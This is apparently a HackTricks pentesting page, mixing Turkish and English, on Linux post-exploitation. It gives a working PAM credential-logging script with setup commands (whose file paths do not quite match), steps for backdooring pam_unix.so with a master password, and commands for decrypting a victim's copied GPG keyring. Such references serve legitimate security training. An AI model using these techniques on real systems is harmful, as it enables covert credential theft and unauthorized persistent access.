Linux Post-Exploitation
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Sniffing Logon Passwords with PAM
Bir PAM modülünü, her kullanıcının girişte kullandığı her şifreyi kaydedecek şekilde yapılandıralım. PAM nedir bilmiyorsanız bakın:
PAM - Pluggable Authentication Modules
Daha fazla ayrıntı için original post. Bu sadece bir özet:
Teknik Genel Bakış: Pluggable Authentication Modules (PAM) Unix tabanlı sistemlerde kimlik doğrulamanın yönetilmesine esneklik sağlar. Giriş süreçlerini özelleştirerek güvenliği artırabilirler, ancak kötüye kullanıldıklarında risk oluştururlar. Bu özet, PAM kullanarak giriş kimlik bilgilerini yakalamaya yönelik bir tekniği ve bunu hafifletme stratejilerini özetlemektedir.
Kimlik Bilgilerinin Yakalanması:
toomanysecrets.sh
adlı bir bash scripti, giriş denemelerini kaydetmek için hazırlanır; tarih, kullanıcı adı ($PAM_USER
), parola (stdin aracılığıyla) ve uzak host IP'si ($PAM_RHOST
)/var/log/toomanysecrets.log
dosyasına kaydedilir.- Script çalıştırılabilir hale getirilir ve
pam_exec.so
modülü kullanılarak PAM yapılandırmasına (common-auth
) entegre edilir; modüle sessiz çalışması ve kimlik doğrulama belirtecini script'e iletmesi için seçenekler verilir. - Bu yaklaşım, ele geçirilmiş bir Linux host'unun kimlik bilgilerini gizlice kaydetmek için nasıl sömürülebileceğini gösterir.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
For further details check the original post. Bu sadece bir özet:
Pluggable Authentication Module (PAM), Linux altında kullanıcı kimlik doğrulaması için kullanılan bir sistemdir. Üç ana kavram üzerine çalışır: username, password, ve service. Her service için yapılandırma dosyaları /etc/pam.d/
dizininde bulunur; kimlik doğrulama shared library'ler tarafından yürütülür.
Objective: PAM'i, gerçek kullanıcı parolasını atlayarak belirli bir parola ile kimlik doğrulamaya izin verecek şekilde değiştirmek. Bu özellikle parola doğrulama için neredeyse tüm servisler tarafından include edilen common-auth
dosyası tarafından kullanılan pam_unix.so
shared library'si üzerinde yoğunlaşır.
Steps for Modifying pam_unix.so
:
- Locate the Authentication Directive in the
common-auth
file:
- The line responsible for checking a user's password calls
pam_unix.so
.
- Modify Source Code:
- Add a conditional statement in the
pam_unix_auth.c
source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process.
- Recompile and Replace the modified
pam_unix.so
library in the appropriate directory. - Testing:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
Şifrelenmiş bir .gpg
dosyası ve bir kullanıcının ~/.gnupg
klasörünü (pubring, private-keys, trustdb) bulduğunuzda ama GnuPG homedir izinleri/lock'ları nedeniyle decrypt yapamıyorsanız, keyring'i yazılabilir bir yere kopyalayın ve bunu GPG home olarak kullanın.
Bunun olmaması durumunda göreceğiniz tipik hatalar: "unsafe ownership on homedir", "failed to create temporary file", veya "decryption failed: No secret key" (çünkü GPG orijinal homedir'i okuyup/yazamıyor).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Eğer gizli anahtar materyali private-keys-v1.d
içinde bulunuyorsa, GPG passphrase sormadan unlock ve decrypt eder (anahtar korumalıysa passphrase istenir).
Referanslar
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.